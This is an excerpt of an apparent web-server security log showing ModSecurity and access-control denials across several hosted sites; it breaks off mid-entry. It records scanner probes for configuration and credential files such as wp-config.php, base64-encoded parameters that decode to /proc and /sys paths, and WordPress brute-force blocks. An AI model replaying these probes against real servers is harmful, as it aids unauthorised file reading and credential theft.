https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:59.219904 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:59.243338 2026] [security2:error] [pid 648189:tid 648279] [remote 17.241.219.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yv1WSojQL4F7upKBYmwAAvTk"] [Sat Jun 13 18:15:59.313341 2026] [security2:error] [pid 648189:tid 648287] [remote 17.241.219.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yv1WSojQL4F7upKBYoAAAl0E"] [Sat Jun 13 18:15:59.440612 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:47952] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/mail.php"] [unique_id "ai3yv1WSojQL4F7upKBYrAAAAOw"] [Sat Jun 13 18:15:59.468297 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.26:62262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:59.468716 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.26:62262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:59.574502 2026] [security2:error] [pid 646876:tid 646959] [remote 17.246.23.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yv9yTkdrNlD40tSGkgAAAP1A"] [Sat Jun 13 18:15:59.717486 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:47958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/app.php"] [unique_id "ai3yv9yTkdrNlD40tSGkgwAAAFQ"] [Sat Jun 13 18:15:59.735404 2026] [access_compat:error] [pid 648189:tid 648339] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:59.735758 2026] [access_compat:error] [pid 648189:tid 648339] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:59.810102 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:59.810529 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:59.974778 2026] [security2:error] [pid 646876:tid 647106] [client 189.217.192.30:50129] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3yv9yTkdrNlD40tSGkigAAAGI"] [Sat Jun 13 18:15:59.975024 2026] [security2:error] [pid 646876:tid 647106] [client 189.217.192.30:50129] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3yv9yTkdrNlD40tSGkigAAAGI"] [Sat Jun 13 18:15:59.985322 2026] [security2:error] [pid 648189:tid 648440] [client 185.177.72.9:47968] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/services.php"] [unique_id "ai3yv1WSojQL4F7upKBYxgAAANs"] [Sat Jun 13 18:16:00.069361 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.47:34108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:00.069794 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.47:34108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:00.254482 2026] [security2:error] [pid 646876:tid 647033] [client 185.177.72.9:47980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3ywNyTkdrNlD40tSGkmwAAABk"] [Sat Jun 13 18:16:00.274720 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:16:00.275142 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9ldmVudDMvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:16:00.372313 2026] [security2:error] [pid 646876:tid 647135] [client 189.217.192.30:60877] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3ywNyTkdrNlD40tSGkpAAAAH8"] [Sat Jun 13 18:16:00.372476 2026] [security2:error] [pid 646876:tid 647135] [client 189.217.192.30:60877] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai3ywNyTkdrNlD40tSGkpAAAAH8"] [Sat Jun 13 18:16:00.513324 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:59589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:00.513802 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.100:59589] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:00.513896 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.75:54536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:00.514312 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.75:54536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:00.522366 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:47994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3ywFWSojQL4F7upKBY4AAAAL4"] [Sat Jun 13 18:16:00.800693 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NQ== [Sat Jun 13 18:16:00.801137 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NQ== [Sat Jun 13 18:16:00.996929 2026] [security2:error] [pid 646876:tid 646992] [remote 17.22.245.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ywNyTkdrNlD40tSGkuQAAOXE"] [Sat Jun 13 18:16:01.063869 2026] [security2:error] [pid 646876:tid 647117] [client 34.74.242.206:1716] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.baychiropractic.ca"] [uri "/robots.txt"] [unique_id "ai3ywdyTkdrNlD40tSGkvwAAAG0"] [Sat Jun 13 18:16:01.064712 2026] [security2:error] [pid 646876:tid 647117] [client 34.74.242.206:1716] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.baychiropractic.ca"] [uri "/robots.txt"] [unique_id "ai3ywdyTkdrNlD40tSGkvwAAAG0"] [Sat Jun 13 18:16:01.159127 2026] [security2:error] [pid 648189:tid 648449] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/is_executable_basic-win32.phpt"] [unique_id "ai3ywVWSojQL4F7upKBY8wAAAOM"] [Sat Jun 13 18:16:01.170872 2026] [security2:error] [pid 648189:tid 648440] [client 34.74.242.206:1706] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.baychiropractic.ca"] [uri "/"] [unique_id "ai3ywVWSojQL4F7upKBY9gAAANs"] [Sat Jun 13 18:16:01.171009 2026] [security2:error] [pid 648189:tid 648440] [client 34.74.242.206:1706] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.baychiropractic.ca"] [uri "/"] [unique_id "ai3ywVWSojQL4F7upKBY9gAAANs"] [Sat Jun 13 18:16:01.314104 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:01.314462 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:01.360637 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.14:58090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:01.363119 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.14:58090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:01.390509 2026] [security2:error] [pid 648189:tid 648338] [remote 17.241.75.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ywVWSojQL4F7upKBZBgAAxXM"] [Sat Jun 13 18:16:01.498305 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.71:30992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:01.498811 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.71:30992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:01.661403 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.49:39745] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:01.661862 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.49:39745] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:01.776939 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.253.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ywdyTkdrNlD40tSGk0wAAbhM"] [Sat Jun 13 18:16:01.829618 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.11:54865] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:01.830084 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.11:54865] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:01.834999 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:16:01.835409 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:16:02.128964 2026] [security2:error] [pid 648189:tid 648420] [client 114.119.151.133:20031] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web 